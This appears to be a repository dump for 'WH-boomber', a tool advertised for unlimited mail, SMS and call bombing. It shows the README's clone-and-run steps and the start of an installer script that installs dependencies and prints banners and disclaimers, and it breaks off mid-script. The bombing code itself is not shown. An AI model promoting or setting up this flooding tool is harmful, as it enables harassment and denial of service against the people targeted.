├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ ├── custom.md │ └── feature_request.md ├── .whnotefy ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── WHB.sh ├── img ├── whb.png ├── whb2.png ├── whb3.png └── whb4.png ├── usr-bin ├── BomMaiL.py ├── WHB.sh ├── bomber.py ├── install.sh ├── not ├── requirements.txt ├── scBomb.sh ├── scifi.mp3 └── whmenu.sh ├── whb-bin ├── BomMaiL.py ├── WHB.sh ├── bomber.py ├── install.sh ├── not ├── requirements.txt ├── scBomb.sh └── scifi.mp3 └── whmenu.sh /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/custom.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Custom issue template 3 | about: Describe this issue template's purpose here. 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.whnotefy: -------------------------------------------------------------------------------- 1 | WH-Bomb Has Been OpenSourced !!! 2 | Please Contribute To Keep it Alive. 3 | Update To WH-Bomb v1.7b (A More Colurful WH-Bomb) 4 | 5 | 6 | _______________________________________________________________________________________________________ 7 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WH-boomber 2 | 3 | Usage of wh-Cyberspace (WH-Boomber) Hacking Tool for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes. 4 | 5 | # requirements PKG 6 | All pkg automatic download and install . 7 | 8 | 9 | # SYSTEM TEST 10 | 1.kali-linux 11 | 12 | 2.parrot os 13 | 14 | # HOW TO RUN / INSTALL 15 | 1. git clone https://github.com/wh-Cyberspace/WH-boomber.git 16 | 17 | 2. chmod +x WHB.sh 18 | 19 | 3. bash WHB.sh 20 | 21 | then 22 | 23 | install > 1 24 | 25 | ## Youtube Video : 26 | 27 | [WH - Boomber || Mail , SmS , Call boombing Unlimited](https://www.youtube.com/watch?v=7pThTrEPn1I "WH - Boomber || Mail , SmS , Call boombing Unlimited ") 28 | ## Screenshot: 29 | [![IMAGE 1](https://raw.githubusercontent.com/wh-Cyberspace/WH-boomber/master/img/whb.png)](https://www.youtube.com/watch?v=7pThTrEPn1I "WH - Boomber || Mail , SmS , Call boombing Unlimited") 30 | 31 | [![IMAGE 1](https://raw.githubusercontent.com/wh-Cyberspace/WH-boomber/master/img/whb3.png)](https://www.youtube.com/watch?v=7pThTrEPn1I "WH - Boomber || Mail , SmS , Call boombing Unlimited") 32 | 33 | [![IMAGE 4](https://raw.githubusercontent.com/wh-Cyberspace/WH-boomber/master/img/whb4.png)](https://www.youtube.com/watch?v=7pThTrEPn1I "WH - Boomber || Mail , SmS , Call boombing Unlimited") 34 | 35 | 36 |

37 | 38 | # INFO 39 | Framwork version : 1.0.1 40 | 41 | POWER BY >> wh-Cyberspace 42 | 43 | Developer: R47 44 | -------------------------------------------------------------------------------- /WHB.sh: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | ################################################################################### 3 | ## Name : Hacker Exploit ## 4 | ## POWER BY >> WH-HackerExploit ## 5 | ## version : 2.0.1 ## 6 | ## Developer: R47 ## 7 | ## ## 8 | ##-------------------------------------------------------------------------------## 9 | ## LEGAL DISCLAIMER >> ## 10 | ## ## 11 | ## Do not attempt to violate the law with anything contained here. If this ## 12 | ## is your intention, then LEAVE NOW! Neither administration of this ## 13 | ## server, the authors of this material, or anyone else affiliated in any ## 14 | ## way, is going to accept responsibility for your actions. ## 15 | ################################################################################### 16 | ################################################################################### 17 | 18 | 19 | #run script 20 | 21 | #!/bin/bash 22 | LPARTH=`pwd` 23 | RED=$'\e[1;31m' 24 | GREEN=$'\e[1;32m' 25 | YELLOW=$'\e[1;33m' 26 | BLUE=$'\e[1;34m' 27 | RESTORE=$'\e[0m' 28 | homepage=$LPARTH/WHB.sh 29 | homemenu="whmenu.sh" 30 | 31 | clear 32 | 33 | #logo or name 34 | echo "${GREEN} WELCOME TO The ${RESTORE}" 35 | echo "${RESTORE}" 36 | echo "${YELLOW}" 37 | 38 | 39 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 40 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 41 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 42 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 43 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 44 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 45 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 46 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 47 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 48 | echo " ░ " 49 | echo " " 50 | 51 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 52 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 53 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 54 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 55 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 56 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 57 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 58 | #egrep -i ver toolinfo; 59 | 60 | echo "${RESTORE}" 61 | echo "${RED}==============================================================================================================" 62 | echo "${RESTORE}" 63 | echo "${BLUE}" 64 | echo "LEGAL DISCLAIMER >>" 65 | echo "${RED}" 66 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 67 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 68 | echo "state and federal laws. Developers assume no liability and are not responsible" 69 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 70 | echo "" 71 | echo "${RED}==============================================================================================================" 72 | echo "${RESTORE}" 73 | echo "${RESTORE}" 74 | 75 | sleep 1.5; 76 | 77 | echo "${YELLOW}" 78 | echo "[*] Checking For Internet Connection >>>>>>>" 79 | echo "" 80 | function checkinternet() 81 | { 82 | ping -c 1 google.com > /dev/null 2>&1 83 | if [[ "$?" != 0 ]] 84 | then 85 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 86 | echo 87 | echo -e "[*] This framework Needs An Active Internet Connection" 88 | echo 89 | echo -e "[*] HackerExploit >> Exit :( " 90 | echo && sleep 2 91 | exit 92 | else 93 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 94 | fi 95 | } 96 | checkinternet 97 | 98 | sleep 3; 99 | clear 100 | 101 | #logo or name 102 | echo "${GREEN} WELCOME TO The ${RESTORE}" 103 | echo "${RESTORE}" 104 | echo "${YELLOW}" 105 | 106 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 107 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 108 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 109 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 110 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 111 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 112 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 113 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 114 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 115 | echo " ░ " 116 | echo " " 117 | 118 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 119 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 120 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 121 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 122 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 123 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 124 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 125 | 126 | #egrep -i ver toolinfo; 127 | echo "${RESTORE}" 128 | echo "${RED}==============================================================================================================" 129 | echo "${RESTORE}" 130 | echo "${BLUE}" 131 | echo "LEGAL DISCLAIMER >>" 132 | echo "${RED}" 133 | 134 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 135 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 136 | echo "state and federal laws. Developers assume no liability and are not responsible" 137 | echo " for any misuse or damage caused by this program. Only use for educational purposes." 138 | 139 | 140 | echo "" 141 | echo "${RED}==============================================================================================================" 142 | echo "${RESTORE}" 143 | echo "${RESTORE}" 144 | 145 | echo "Select Your target Option >" 146 | echo "${YELLOW}" 147 | select planet in "INSTALL" "Iagree" "Dis-agree"${RESTORE} 148 | 149 | do 150 | if [ "$planet" == INSTALL ] 151 | 152 | then 153 | clear 154 | 155 | 156 | echo "${RESTORE}" 157 | echo "${YELLOW}" 158 | 159 | 160 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 161 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 162 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 163 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 164 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 165 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 166 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 167 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 168 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 169 | echo " ░ " 170 | echo " " 171 | 172 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 173 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 174 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 175 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 176 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 177 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 178 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 179 | #egrep -i ver toolinfo; 180 | 181 | echo "${RESTORE}" 182 | echo "${RED}==============================================================================================================" 183 | echo "${RESTORE}" 184 | echo "${BLUE}" 185 | echo "LEGAL DISCLAIMER >>" 186 | echo "${RED}" 187 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 188 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 189 | echo "state and federal laws. Developers assume no liability and are not responsible" 190 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 191 | echo "" 192 | echo "${RED}==============================================================================================================" 193 | echo "${RESTORE}" 194 | echo "${RESTORE}" 195 | 196 | sleep 1.5; 197 | 198 | echo "${YELLOW}" 199 | echo "[*] Checking For Internet Connection >>>>>>>" 200 | echo "" 201 | function checkinternet() 202 | { 203 | ping -c 1 google.com > /dev/null 2>&1 204 | if [[ "$?" != 0 ]] 205 | then 206 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 207 | echo 208 | echo -e "[*] This framework Needs An Active Internet Connection" 209 | echo 210 | echo -e "[*] HackerExploit >> Exit :( " 211 | echo && sleep 2 212 | exit 213 | else 214 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 215 | fi 216 | } 217 | checkinternet 218 | 219 | 220 | apc=`which python` 221 | if [ "$?" != "0" ]; then 222 | FaIl="YES" 223 | echo ${BLUE}[x]${RED} python installation '->' not found!${RESTORE}; 224 | sleep 1 225 | echo ${BLUE}[↻]${YELLOW} This script requires python to work!${Resetr1}; 226 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 227 | echo "" 228 | sudo apt-get install python -y 229 | echo "" 230 | else 231 | echo ${BLUE}[✓]${YELLOW}" python installation : ${GREEN}found!"${RESTORE}; 232 | sleep 1 233 | fi 234 | 235 | 236 | 237 | apc=`which python3` 238 | if [ "$?" != "0" ]; then 239 | FaIl="YES" 240 | echo ${BLUE}[x]${RED} python3 installation '->' not found!${RESTORE}; 241 | sleep 1 242 | echo ${BLUE}[↻]${YELLOW} This script requires python3 to work!${Resetr1}; 243 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 244 | echo "" 245 | sudo apt-get install python3 -y 246 | echo "" 247 | else 248 | echo ${BLUE}[✓]${YELLOW}" python3 installation : ${GREEN}found!"${RESTORE}; 249 | sleep 1 250 | fi 251 | 252 | apc=`which pip` 253 | if [ "$?" != "0" ]; then 254 | FaIl="YES" 255 | echo ${BLUE}[x]${RED} pip installation '->' not found!${RESTORE}; 256 | sleep 1 257 | echo ${BLUE}[↻]${YELLOW} This script requires pip to work!${Resetr1}; 258 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 259 | echo "" 260 | sudo apt-get install python-pip -y 261 | echo "" 262 | else 263 | echo ${BLUE}[✓]${YELLOW}" pip installation : ${GREEN}found!"${RESTORE}; 264 | sleep 1 265 | fi 266 | 267 | apc=`which pip3` 268 